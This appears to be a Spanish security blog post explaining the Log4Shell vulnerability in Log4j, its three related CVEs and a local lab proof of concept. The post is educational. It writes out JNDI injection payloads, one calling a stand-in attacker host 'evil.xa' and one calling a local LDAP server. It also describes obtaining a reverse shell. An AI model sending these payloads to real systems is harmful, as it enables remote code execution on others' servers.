En las últimas semanas ha habido una revolución en el mundo IT. Todo el mundo ha estado preocupado, ha habido miles de meetings para discutirlo, se han creado cientos de memes al respecto. Y es que ha salido a la luz una de las vulnerabilidades con mayor factor de exposición de los últimos años: CVE-2021-44228, conocida ahora como Log4Shell. Ha sido catalogada por Tenable como «la mayor vulnerabilidad jamás descubierta» y aquí la vamos a analizar.
En este post te voy a explicar en qué consiste esta vulnerabilidad, y voy a mostrarte paso a paso cómo explotar log4shell.
Log4j
Log4j es una librería de Apache ampliamente utilizada para guardar los logs de las aplicaciones. Esta librería es tan popular que es utilizada por servicios y aplicaciones como iCloud, Amazon, Twitter, Steam… ¡Incluso Minecraft usa Log4j!
Log4Shell
Esta vulnerabilidad se aprovecha de que la librería Log4j permite realizar peticiones a servidores LDAP y JNDI, y no comprueba las respuestas de los mismos. Por tanto, los atacantes pueden utilizar servidores LDAP y JNDI propios que inyecten código JAVA malicioso en la respuesta, y la librería Log4j ejecutará ese código malicioso.
Se puede entender de forma muy sencilla viendo la siguiente imagen (créditos a GovCERT.ch).
- En primer lugar, el atacante incluye un payload malicioso, en este caso ${jndi:ldap://evil.xa/x}, en un lugar que vaya a ser registrado en los logs por la librería log4j. En este caso lo incluye en la cabecera User-Agent de una de las peticiones.
- El servidor de la aplicación vulnerable procesa la petición y registra el payload en los logs utilizando log4j.
- La librería log4j procesa el payload JNDI que le indica que debe realizar una query al servidor LDAP evil.xa
- El servidor malicioso evil.xa le manda una respuesta que incluye código malicioso en una clase de Java.
- El servidor de la aplicación vulnerable recibe la aplicación y ejecuta el código Java recibido. El atacante puede incluir un código malicioso que le permita acceder al sistema del servidor vulnerable.
CVE-2021-44228... and CVE-2021-45046... and CVE-2021-45105...
Algo muy interesante de esta vulnerabilidad es que han salido 3 CVEs distintos relacionados con ella.
Originalmente salió el CVE-2021-44228, que indicaba que la librería era vulnerable hasta la versión 2.15.0, que arreglaba el problema.
Sin embargo, a las dos semanas de salir esta primera vulnerabilidad, salió el CVE-2021-45046, que indicaba que la forma en la que se corregía la vulnerabilidad era incompleta, y que había que actualizar la librería a la versión 2.16.0.
Pero a los dos días de salir este nuevo CVE, salió un tercero que volvía a indicar que la vulnerabilidad no se había corregido en todos los casos y todavía era explotable, por lo que había que actualizar a la versión 2.17.0
Aunque pueda parecer extraño que Apache no haya podido corregir esta vulnerabilidad de una sola vez, es normal dado que este tipo de vulnerabilidades aparecen en forma de 0day y exigen una corrección de código inmediata por parte del proveedor. Cuando tienes miles de empresas que están utilizando tus servicios y que a su vez ofrecen servicios a millones de clientes que llaman preocupados, la presión puede ser extremadamente alta y pueden ocurrir estos errores.
Log4Shell Prueba de Concepto
Ahora que ya sabes en qué consiste la vulnerabilidad Log4Shell, vamos a realizar la prueba de concepto. Para ello he empleado un script en python y he utilizado una aplicación que utiliza la librería vulnerable Log4j.
Para empezar, éste es el código Java del script que nuestro servidor LDAP mandará. Este código es una reverse shell que nos permitirá conectarnos al servidor víctima:
Creamos el servidor LDAP e iniciamos un servidor web donde se encontrará el exploit escrito en Java:
Ahora tan solo tenemos que ejecutar el script y acceder al programa vulnerable, que yo tengo corriendo en el puerto 8080:
En esta imagen puedes ver:
- Arriba a la izquierda, la imagen de docker que tengo lanzada con el programa vulnerable.
- Justo debajo, una terminal ejecutando el script.
- Debajo del todo, me he puesto a la escucha en el puerto 9001, que es el puerto donde he indicado que quiero recibir la reverse shell en el exploit escrito en java.
- A la derecha, el programa vulnerable.
Ahora tan solo tengo que mandar el payload malicioso en un campo que vaya a ser registrado por la librería Log4j. El campo de nombre de usuario, por ejemplo. Es importante indicar en el payload la dirección del servidor LDAP: ${jndi:ldap://localhost:1389/a}
En el momento que mando la petición de inicio de sesión, se registra mediante Log4j, que ejecuta el código mandando una petición a mi servidor LDAP. Mi servidor LDAP le responde con una clase java donde le indica que debe conectarse al servidor web que he levantado y ejecutar el exploit de java que hay ahi. La aplicación lo recibe y lo ejecuta, mandándome así una reverse shell. De esa forma se obtiene acceso al servidor desde el que se ha mandado el programa, con los mismos privilegios con los que el programa se ejecuta:
Puedes encontrar el código de la poc aquí.
¡Y eso es todo! Espero que hayas disfrutado de este post. Como puedes ver, la vulnerabilidad Log4j es fácilmente explotable y afecta a una gran cantidad de servicios, por ello ha sido considerada como una de las más importantes de todos los tiempos. Aunque ya haya salido una versión final que corrije el error definitivamente (esperemos), aún habrá miles de servicios expuestos por no actualizar las librerías que utilizan. Por algo el nuevo OWASP Top 10 sitúa en sexta posición la utilización de componentes con vulnerabilidades conocidas.
Lethani.